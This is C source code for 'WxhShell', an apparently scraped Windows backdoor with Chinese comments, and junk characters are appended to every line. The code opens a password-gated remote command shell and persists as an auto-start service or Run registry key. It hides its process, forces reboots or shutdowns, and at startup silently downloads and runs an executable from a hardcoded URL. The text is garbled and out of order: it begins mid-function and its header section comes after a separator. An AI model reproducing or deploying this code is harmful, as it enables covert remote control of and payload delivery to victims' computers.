    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c (8J  
    else { J3+8s [oJ>  
    closesocket(wsh); P< x  
    ExitThread(0); <U pjAuG8  
    } }h6z&:qA[?  
    break; Y g?{x@  
    } yo?Q%w'Nh  
  // 获取shell jpv,0(  
  case 's': { :q1r2&ne  
    CmdShell(wsh); TL gVuY  
    closesocket(wsh); p n>`v   
    ExitThread(0); R,1,4XT  
    break; ^0-=(JrC  
  } pk1M.+  
  // 退出 Tj9q(Vq  
  case 'x': { e*s{/a?,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \9QOrjiw  
    CloseIt(wsh); V1A3l{>L  
    break; .p>8oOp  
    } nTKfwIeg5  
  // 离开 =>*N W9c  
  case 'q': { )aSkUytg"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q8>Q,F`BA  
    closesocket(wsh); |Wk G='02  
    WSACleanup(); <-}\V!@E!  
    exit(1); C ,hsr  
    break; vrbh+  
        } ;D:T ^4  
  } }*.*{I  
  } _AYF'o-Cm  
'DQyB`V2y  
  // 提示信息 PM7/fv*,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9To6Rc;  
} "QS7?=>*F  
  } ||aU>Wj4  
>,3 3Jx  
  return; 9lV'3UG-?  
} cC.DBYV+-  
R 0}%   
// shell模块句柄 sXu+F2O  
int CmdShell(SOCKET sock) dZmq  
{ y>8?RX8  
STARTUPINFO si; q3`t0eLZ  
ZeroMemory(&si,sizeof(si)); vE(Hy&Q&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dzr5qP?#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jq{Ix  
PROCESS_INFORMATION ProcessInfo; 2wQ CQ"  
char cmdline[]="cmd"; >qA&;M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SZvsJ)  
  return 0; Uw"   
} Xk'.t|  
:f;|^(]"  
// 自身启动模式 DAW%?(\,  
int StartFromService(void) a0.XJR{T"  
{ G\%hT5^  
typedef struct 4+Y5u4 `t  
{ \.] U  
  DWORD ExitStatus; e$=|-J z  
  DWORD PebBaseAddress; J?'!8,RX  
  DWORD AffinityMask; X)m2{@v D  
  DWORD BasePriority; {'!~j!1'j  
  ULONG UniqueProcessId; h# 8b#  
  ULONG InheritedFromUniqueProcessId; 2|BE{91  
}   PROCESS_BASIC_INFORMATION; -; }Wm[  
6EY4@0%A  
PROCNTQSIP NtQueryInformationProcess; c&&UT-Z  
E<dN=#f6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &&O=v]6,V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2uVm?nm  
4a-wGx#h  
  HANDLE             hProcess; .Ko`DH~!,C  
  PROCESS_BASIC_INFORMATION pbi; x5ia<V>=d  
2+PIZ6=hN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0P(}e[~Z  
  if(NULL == hInst ) return 0; M_K&x-H0  
)f Rh^6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5S LF1u;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zlE kP @)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  >pKI'  
Sf9+TW  
  if (!NtQueryInformationProcess) return 0; #x21e }Li  
K-ebAaiC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); STe;Sr&p  
  if(!hProcess) return 0; $G3P3y: [  
h*LIS@&9C5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }qTvUs  
/hQ!dU.+  
  CloseHandle(hProcess); X}$S|1CjO  
Dg`W{oj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \#slZ;&s  
if(hProcess==NULL) return 0; Lst5  
( C&f~U  
HMODULE hMod; R<-KXT9  
char procName[255]; &3<]FK  
unsigned long cbNeeded; &!ZpBR(  
M:x(_Lu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sC>8[Jatd  
2 E^P=jU`  
  CloseHandle(hProcess); 6%TV X  
''G @n*  
if(strstr(procName,"services")) return 1; // 以服务启动 eW/Hn  
$3>|R lxYA  
  return 0; // 注册表启动 Go4l#6  
} 5zU$_M  
o%:eYl  
// 主模块 g:HIiGN0Ic  
int StartWxhshell(LPSTR lpCmdLine) 2sngi@\  
{ P+[R0QS  
  SOCKET wsl; 8MIHp[vm%  
BOOL val=TRUE; Liofv4![  
  int port=0; 945psG@|  
  struct sockaddr_in door; TO<g@u]*  
VuGSP]$q  
  if(wscfg.ws_autoins) Install(); YpJzRm{Ra  
]l`DR4 =  
port=atoi(lpCmdLine); 2bqwnRT}  
VrpY BU  
if(port<=0) port=wscfg.ws_port; BtspnVB ez  
q6q= ,<T%S  
  WSADATA data; 7 UR)4dYA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @:}z\qBM  
piU4%EO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,M9'S;&^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I/'>Bn+  
  door.sin_family = AF_INET; . @.CQB=E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0/c4%+ Ln  
  door.sin_port = htons(port); !|D,cs  
 u!(|y9p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |$Td-M^)  
closesocket(wsl); fI6F};I5}T  
return 1; *N7\d9y  
} "xWC49   
61wiXX"N  
  if(listen(wsl,2) == INVALID_SOCKET) { }+z}vb  
closesocket(wsl); fYwumx`J  
return 1; pcE.  
} gbvBgOp  
  Wxhshell(wsl); t^q/'9Ai&J  
  WSACleanup(); `| fF)kI  
FkH4|}1  
return 0; xaPTTa  
1*XqwBV  
} H]cCyuCdH  
ak%8|'}  
// 以NT服务方式启动 Q,scjt[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k vb"n}  
{ ak R*|iK#b  
DWORD   status = 0; 1Z`zdZs  
  DWORD   specificError = 0xfffffff; !$j'F?2 >  
\!_ >ul  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MD%86m{Sg=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NS\'o )J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , =#'?>Kq  
  serviceStatus.dwWin32ExitCode     = 0; Ox58L>:0m  
  serviceStatus.dwServiceSpecificExitCode = 0; EM"YjC)F  
  serviceStatus.dwCheckPoint       = 0; #6JG#!W  
  serviceStatus.dwWaitHint       = 0; /gxwp:&lY  
Zvc{o8^z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \hg12],#:@  
  if (hServiceStatusHandle==0) return; x k#/J]j  
kc}e},k  
status = GetLastError(); VP[ J#TPU  
  if (status!=NO_ERROR) zzM 'uo  
{ /MA4Er r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .2`S07Z  
    serviceStatus.dwCheckPoint       = 0; s+aeP  
    serviceStatus.dwWaitHint       = 0; ;:v:pg8qc  
    serviceStatus.dwWin32ExitCode     = status; d35,[  
    serviceStatus.dwServiceSpecificExitCode = specificError; %GJ, &b|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?]:3`;h3  
    return; ^;L;/I[-  
  } \MnlRBUM,  
^27r-0|l^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^hU7QxW  
  serviceStatus.dwCheckPoint       = 0; =V(I  
  serviceStatus.dwWaitHint       = 0; d>2>mT$U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f"z96{zo  
} @X|CubJ  
 E;k'bz  
// 处理NT服务事件,比如:启动、停止 9%|!+!j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .QW89e,O3  
{ jfk`%C Ek=  
switch(fdwControl) fF ;-d2mF  
{ Ok9XC <Xu  
case SERVICE_CONTROL_STOP: ;as B@Q  
  serviceStatus.dwWin32ExitCode = 0; >=wlS\:"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $cnIsyKWY  
  serviceStatus.dwCheckPoint   = 0; 60Y&)UR  
  serviceStatus.dwWaitHint     = 0; k<m{Wp;-  
  { ~h -0rE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c'[l%4U8[  
  } 5MT$n4zKu  
  return; p;g$D=2  
case SERVICE_CONTROL_PAUSE: :dK/}S0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4\3Z$%2^LZ  
  break; |*Hw6m  
case SERVICE_CONTROL_CONTINUE: U5odSR$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MC^H N w  
  break; q'[5h>Pa  
case SERVICE_CONTROL_INTERROGATE: 4&}LYSZl  
  break; G;MmD?VJ g  
}; H{yeN 5   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u[})|x*N  
} FgLV>#)-  
2]hQ56Yv3  
// 标准应用程序主函数 525W; mu{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jc/*w  
{ J&wrBVv1uk  
0KE+RzrB  
// 获取操作系统版本 {U>B\D  
OsIsNt=GetOsVer(); TN4gGky!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lo Oh }y+  
|X0h-kX4  
  // 从命令行安装 5?{a=r9  
  if(strpbrk(lpCmdLine,"iI")) Install(); o/ ozX4C  
9ELLJ@oNC  
  // 下载执行文件 82{Lx7pI  
if(wscfg.ws_downexe) { ,dP-sD;<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  [td)v,  
  WinExec(wscfg.ws_filenam,SW_HIDE); -)PQ&[  
} /0IvvD!7N  
nD6NLV%2x  
if(!OsIsNt) { wknX\,`Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 S{&,I2aO  
HideProc(); `{#0C-  
StartWxhshell(lpCmdLine); zuwlVn  
} F|Pf-.r`t  
else )%I2#Q"Nt-  
  if(StartFromService()) [LbUlNq^B@  
  // 以服务方式启动 |wZcVct~  
  StartServiceCtrlDispatcher(DispatchTable); Kf/1;:^  
else 9ePG-=5I  
  // 普通方式启动 %We~k'2f  
  StartWxhshell(lpCmdLine); ci a'h_w  
9Ra*bP ]1  
return 0; nep0<&"  
} YBehyx2eK  
*]:gEO  
9ldv*9v  
Js.2R$o =*  
=========================================== G(" S6u  
}rRf4te  
@i U@JE`C  
%ukFn &-2@  
n]S DpptM  
5[suwaJQ  
" L|A}A[P  
c6VfFt6p  
#include <stdio.h> V(u#8M  
#include <string.h> a\;Vly;  
#include <windows.h> Q]?r&%Y  
#include <winsock2.h> ;6P #V`u  
#include <winsvc.h> =:A hg 9  
#include <urlmon.h> QQ;<L"VW  
E{'{fo!#)  
#pragma comment (lib, "Ws2_32.lib") '#pY/,hVB  
#pragma comment (lib, "urlmon.lib") Z<jio  
QhR.8iS  
#define MAX_USER   100 // 最大客户端连接数 'RZ=A+%X  
#define BUF_SOCK   200 // sock buffer  3 c #oK  
#define KEY_BUFF   255 // 输入 buffer >zx]% W  
<+o*"z\mI  
#define REBOOT     0   // 重启 1$mxMXNsJ  
#define SHUTDOWN   1   // 关机 'Km ~3t  
2^RWGCEv  
#define DEF_PORT   5000 // 监听端口 Va"H.]  
$De14  
#define REG_LEN     16   // 注册表键长度 P&I%!'<   
#define SVC_LEN     80   // NT服务名长度 A@M%}h  
HmlE Cx  
// 从dll定义API =A[:]),v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ts|dk%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A8tzIh8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PW7{,1te,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RI.6.f1dy  
;J [ed>v;3  
// wxhshell配置信息 /q[5-96c  
struct WSCFG { <j\osw1R  
  int ws_port;         // 监听端口 max 5s$@  
  char ws_passstr[REG_LEN]; // 口令 TNun)0p  
  int ws_autoins;       // 安装标记, 1=yes 0=no +pMa-{  
  char ws_regname[REG_LEN]; // 注册表键名 Zfwhg4G~  
  char ws_svcname[REG_LEN]; // 服务名 vfBIQfH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v_=xN^R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }#'I,?_k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^jY/w>UdH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FVY$A =G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ' b?' u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Em6P6D>S>,  
vl}fC@%WRI  
}; TEB<ia3+  
bzj9U>eY  
// default Wxhshell configuration cl2+,!:  
struct WSCFG wscfg={DEF_PORT, TgC8EcLr  
    "xuhuanlingzhe", 'DLgOUvh  
    1, 10.u  
    "Wxhshell", I'sq0^  
    "Wxhshell", `eZ +Pf".  
            "WxhShell Service", -!_\4  
    "Wrsky Windows CmdShell Service", 1=o|[7  
    "Please Input Your Password: ", `wGP31Y.  
  1, ,^Ug[pGG-  
  "http://www.wrsky.com/wxhshell.exe", ^ &UezDTS  
  "Wxhshell.exe" ppYIVI  
    }; \Dn47V{7-  
Q5K<ECoPk  
// 消息定义模块 /xS4>@hn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MZPXI{G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?so=k&I-M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l  rRRRR  
char *msg_ws_ext="\n\rExit."; g<b(q|  
char *msg_ws_end="\n\rQuit."; [-Xz:  
char *msg_ws_boot="\n\rReboot..."; _Fc :<Ym?  
char *msg_ws_poff="\n\rShutdown..."; =@ SJyW  
char *msg_ws_down="\n\rSave to "; 8)KA {gN}  
BIJlU(aF  
char *msg_ws_err="\n\rErr!"; 3$ 'eDa[  
char *msg_ws_ok="\n\rOK!";  <xn96|$  
8,VX%CS#q  
char ExeFile[MAX_PATH]; xJcM1>cT>  
int nUser = 0; yiT)m]E d  
HANDLE handles[MAX_USER]; TK! D=M  
int OsIsNt; uGo tXb  
&PE/\_xD_  
SERVICE_STATUS       serviceStatus; NI<;Lm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &<Iyb}tA?  
`qXCY^BH2  
// 函数声明 E\$7tXQK6  
int Install(void); o x|K2A  
int Uninstall(void); `S)*(s?T  
int DownloadFile(char *sURL, SOCKET wsh); sLHUQ(S!  
int Boot(int flag); *- S/{ .&  
void HideProc(void); !k5I#w:  
int GetOsVer(void); DA9-F  
int Wxhshell(SOCKET wsl); At t~N TL  
void TalkWithClient(void *cs); A vh"(j  
int CmdShell(SOCKET sock); &7 0o4~Fr  
int StartFromService(void); ~ k(4eRq  
int StartWxhshell(LPSTR lpCmdLine); 3AQu\4+A  
a ](Jc)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2bnF#-(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DTx!# [  
o)B`K."  
// 数据结构和表定义 v,eTDgw  
SERVICE_TABLE_ENTRY DispatchTable[] = jsp)e=  
{ 7RpAsLH=  
{wscfg.ws_svcname, NTServiceMain}, U07 G&? /  
{NULL, NULL} tJ qd  
}; AiDV4lHr  
=cP7"\  
// 自我安装 BH;7CK=7R  
int Install(void) ~ZxFL$<'3  
{ )8,)&F  
  char svExeFile[MAX_PATH]; Sd9%tO9mf  
  HKEY key; (>)f#t[9J  
  strcpy(svExeFile,ExeFile); 7^hwRZJ{  
Y%GIKtP  
// 如果是win9x系统,修改注册表设为自启动 fR^aFT  
if(!OsIsNt) { :nLhg$wMs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yw!(]8PYdU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}I BPC  
  RegCloseKey(key); Ho^rYz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2a,l;o$2&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !et[Rdbu  
  RegCloseKey(key); cUDo}Yu  
  return 0; rzk-_AFR  
    } {y\5 9  
  } _=g;K+%fb  
} r5s$#,O/&Q  
else { l2.L h<G  
Vi:<W0:  
// 如果是NT以上系统,安装为系统服务 )a;ou>u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vR*TW   
if (schSCManager!=0) sM  _m  
{ CS\ E]f  
  SC_HANDLE schService = CreateService =Z~nzyaN  
  ( A}h`%b  
  schSCManager, _Pe,84Ro  
  wscfg.ws_svcname, }i\U,mH0_&  
  wscfg.ws_svcdisp, bdBFDg  
  SERVICE_ALL_ACCESS, 5h!ZoB)n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WF&?OHf2  
  SERVICE_AUTO_START, n7$2 1*,  
  SERVICE_ERROR_NORMAL, ^{l^Z +b.  
  svExeFile, p]^?4  
  NULL, ]!mC5Ea  
  NULL, +<TnE+>j  
  NULL, [W*xPXr*  
  NULL, i,R+C.6{  
  NULL bAkCk]>5  
  ); ]A#K;AW{U  
  if (schService!=0) +jv&V%IL  
  { M[}aQWT$v  
  CloseServiceHandle(schService); ?z/ )Hkw  
  CloseServiceHandle(schSCManager); %9HL "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <q<kqy5s-R  
  strcat(svExeFile,wscfg.ws_svcname); ,bU 8S\8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h+"UK=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c&]nAn(  
  RegCloseKey(key); }z|@X KA#  
  return 0; EZw<)Q   
    } [(d))(M$|  
  } PSR21;  
  CloseServiceHandle(schSCManager); B{dR/q3;@  
} fEgwQ-]  
} c:OFBVZ   
4],*y`& g  
return 1; 6$*\%  
} = VFPZ  
~ MZEAY9  
// 自我卸载 gd=gc<zYP  
int Uninstall(void) a}#8n^2  
{ D>>?8a  
  HKEY key; fa:V8xa  
ji] H|  
if(!OsIsNt) { &X`zk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XqxmvN  
  RegDeleteValue(key,wscfg.ws_regname); [>#@?@x`P  
  RegCloseKey(key); rq]zt2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #l<un<  
  RegDeleteValue(key,wscfg.ws_regname); 9irT}e  
  RegCloseKey(key);  tOEY|  
  return 0; mcgkNED  
  } lq[o2\  
} UFOUkS F  
} lBN1OL[N  
else { \YN(rD-  
6_vhBYLf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w15Qqh lK  
if (schSCManager!=0) UifuRmn  
{ $sa5aUg }  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R{R'byre  
  if (schService!=0) piPx8jT`F  
  { }s>.Fh  
  if(DeleteService(schService)!=0) { Fr{}~fRW<  
  CloseServiceHandle(schService); xoQ;fVNp  
  CloseServiceHandle(schSCManager); KO''B or  
  return 0; a|u&N:v7B  
  } -rXo}I,VI  
  CloseServiceHandle(schService); A6faRi703  
  } SAUfA5|e  
  CloseServiceHandle(schSCManager); W}0cM9 g  
} ~REP@!\r^  
} FQp@/H^  
7JL*y\'  
return 1; ~bsL W:.'  
} C A 8N  
 8-.jf  
// 从指定url下载文件 b>_eD-  
int DownloadFile(char *sURL, SOCKET wsh) -z6{!  
{ e4rhB"qQdn  
  HRESULT hr; }]K^b1Fs5  
char seps[]= "/"; Ee0}Xv  
char *token; `= FDNOwp  
char *file; 3`%U)gCT5  
char myURL[MAX_PATH]; 7~H.\4HB  
char myFILE[MAX_PATH]; DM[gjfMXu  
^.:dT?@R  
strcpy(myURL,sURL); ?K9zTas@  
  token=strtok(myURL,seps); l NhX)D^t  
  while(token!=NULL) \]$TBN dJ4  
  { $ytlj1.  
    file=token; {%PgR){qR  
  token=strtok(NULL,seps); {EL J!o[  
  } |tua*zEsS  
M s5L7S  
GetCurrentDirectory(MAX_PATH,myFILE); JrA\ V=K  
strcat(myFILE, "\\"); \[MQJX,dn  
strcat(myFILE, file); g$a 5  
  send(wsh,myFILE,strlen(myFILE),0); WJJwhr  
send(wsh,"...",3,0); L2P#5B!S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *s[bq;$  
  if(hr==S_OK) Sb,lY<=  
return 0; b xFDB^  
else PZB_6!}2[F  
return 1; *$/!.e  
iM'rl0  
} z($h7TZ$  
eJ2$DgB}t  
// 系统电源模块 Pko2fJt1  
int Boot(int flag) J*}Qnl+  
{ ?loP18S b  
  HANDLE hToken; F4$N:J kl  
  TOKEN_PRIVILEGES tkp; s;NPY  
W{js9$oJ  
  if(OsIsNt) { Z.x9SEe1t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Z{!T)#}j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6O9?":3;  
    tkp.PrivilegeCount = 1;  XeRbn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (Ymj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GL- r;  
if(flag==REBOOT) { P{tH4V23T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5uxB)Dx)  
  return 0; ^+b ??K  
} tuWJj^  
else { 9X%H$>s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pjaDtNb  
  return 0; JrhDqyk*  
} klON6<w  
  } b8$(j2B~  
  else { KB6'sj  
if(flag==REBOOT) { o n+:{ad  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N{o3w.g  
  return 0; PY{])z3N  
} !b:;O +[  
else { cZd{K[fuK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /ltGSl  
  return 0;  jcVK4jW  
} N sNk  
} v$_YZm{!<  
:^H#i:4  
return 1; `zmj iC  
} RV{'[8gM   
n(.U>_ P  
// win9x进程隐藏模块 !GL kAV  
void HideProc(void) n$z+g>~N  
{ BL?Bl&p(  
s4uYp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M+lj g&fy  
  if ( hKernel != NULL ) f 3t&Bcw$  
  { c u:1|gt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Ed$;#4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L28DBjE)A  
    FreeLibrary(hKernel); 64jFbbd-/  
  } +;*dFL  
Tu*"+*r>s  
return; !caY  
} )~CnDk}^R  
jXCSD@?]K  
// 获取操作系统版本 vD@ =V#T  
int GetOsVer(void) L%sskV(  
{ D <SLv,Y  
  OSVERSIONINFO winfo; F-SD4a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jg:%|g  
  GetVersionEx(&winfo); \n}@}E L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N~] 4,~  
  return 1; \u@*FTS  
  else dnXre*rhz  
  return 0; wx2 EMr   
} ~[H+,+XLY+  
Fu;\t 0  
// 客户端句柄模块 )CAEqP  
int Wxhshell(SOCKET wsl) brXLx +H8  
{ YB&b_On,f  
  SOCKET wsh; /%4wm?(eA  
  struct sockaddr_in client; o:x,zfW  
  DWORD myID; Z'F=Xw6;b  
|?=a84n1l  
  while(nUser<MAX_USER) _RI!Z   
{ 07FS|>DM'Z  
  int nSize=sizeof(client); 0!6n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aUVJ\ ;V  
  if(wsh==INVALID_SOCKET) return 1; ^}>Ie03m50  
7%x 3o#&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dx1w I  
if(handles[nUser]==0) F )|0U~  
  closesocket(wsh); P_{jZ}y(  
else npD`9ff  
  nUser++; ,KO_h{mI<  
  } +&j&es  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [h;&r"1  
#MwNyZ  
  return 0; 8:QnxrODP  
} m5w ZS>@  
EqB3f_  
// 关闭 socket Q+ tUxa+  
void CloseIt(SOCKET wsh) J/ ! Mt  
{ %DqPRl.Gu  
closesocket(wsh); Eh{]so  
nUser--; ,dZ&i! @?  
ExitThread(0); O wJZ?j& )  
} miCW(mbO8  
)4@La&  
// 客户端请求句柄 |4lrVYG^K  
void TalkWithClient(void *cs) "B 9aJo  
{ l{u2W$8  
1+0DTqWz  
  SOCKET wsh=(SOCKET)cs; ud}B#{6  
  char pwd[SVC_LEN]; !rwe|"8m?u  
  char cmd[KEY_BUFF]; &y~EEh|  
char chr[1]; E/[<} ./  
int i,j; y;1 'hP&  
s'Op|`&X  
  while (nUser < MAX_USER) { ]`S35b  
7 g2@RKo  
if(wscfg.ws_passstr) { 9"%ot=)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ S_8;j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T+9#&  
  //ZeroMemory(pwd,KEY_BUFF); b7nER]R  
      i=0; &F xw19[G  
  while(i<SVC_LEN) { E,fG<X{  
iR`c/  
  // 设置超时 e.<y-b?  
  fd_set FdRead; p"lTZ7c:Y  
  struct timeval TimeOut; 4Z"JC9As  
  FD_ZERO(&FdRead); vi :IO  
  FD_SET(wsh,&FdRead); Ev'Bm Dk  
  TimeOut.tv_sec=8; _0uFe7sIZ  
  TimeOut.tv_usec=0; CG -^}xE:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dDeImSeV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ejID5NqG  
t(,_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4PVkKP'/  
  pwd=chr[0]; Ie14`'  
  if(chr[0]==0xd || chr[0]==0xa) { hrt ]Qn&  
  pwd=0; Cc7YjsRW  
  break; JC[G5$E  
  } K}(0H[P  
  i++; fQtV-\Bc  
    } -55Pvg0ND  
8&0+Az"{O  
  // 如果是非法用户,关闭 socket >gqd y*Bg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %%=PpKYtSD  
} l_`DQ8L`  
>#j f Z5t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R"0fZENTG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fNkN  
#UO#kC<2(B  
while(1) { Ig*qn# Dd  
@fML.AT  
  ZeroMemory(cmd,KEY_BUFF); -5_[m@Vr  
|KM<\v(A{  
      // 自动支持客户端 telnet标准   p? q~.YY  
  j=0; T{VdlgL  
  while(j<KEY_BUFF) { E(l'\q'.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ELlTR/NW  
  cmd[j]=chr[0]; GG KD8'j]  
  if(chr[0]==0xa || chr[0]==0xd) { pjh o#yP  
  cmd[j]=0; Tn'_{@E;  
  break; Gxj3/&]^Y  
  } $G_,$U !  
  j++; HalkNR-eEm  
    } q')MKR*  
6tKm'`^z4  
  // 下载文件 ~jqG  
  if(strstr(cmd,"http://")) { svBT~P0x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2?)bpp$WZ  
  if(DownloadFile(cmd,wsh)) xq.HR_\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rTR4j>Ua~  
  else Ai 9UB=[R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6jGPmOM/  
  } lQnl6j  
  else { b)5z'zQu  
RH=Tu6i  
    switch(cmd[0]) { tc_D8Q_  
  c|s*(WljY  
  // 帮助 ?4]#gC ks  
  case '?': { ~;pv &s5}  
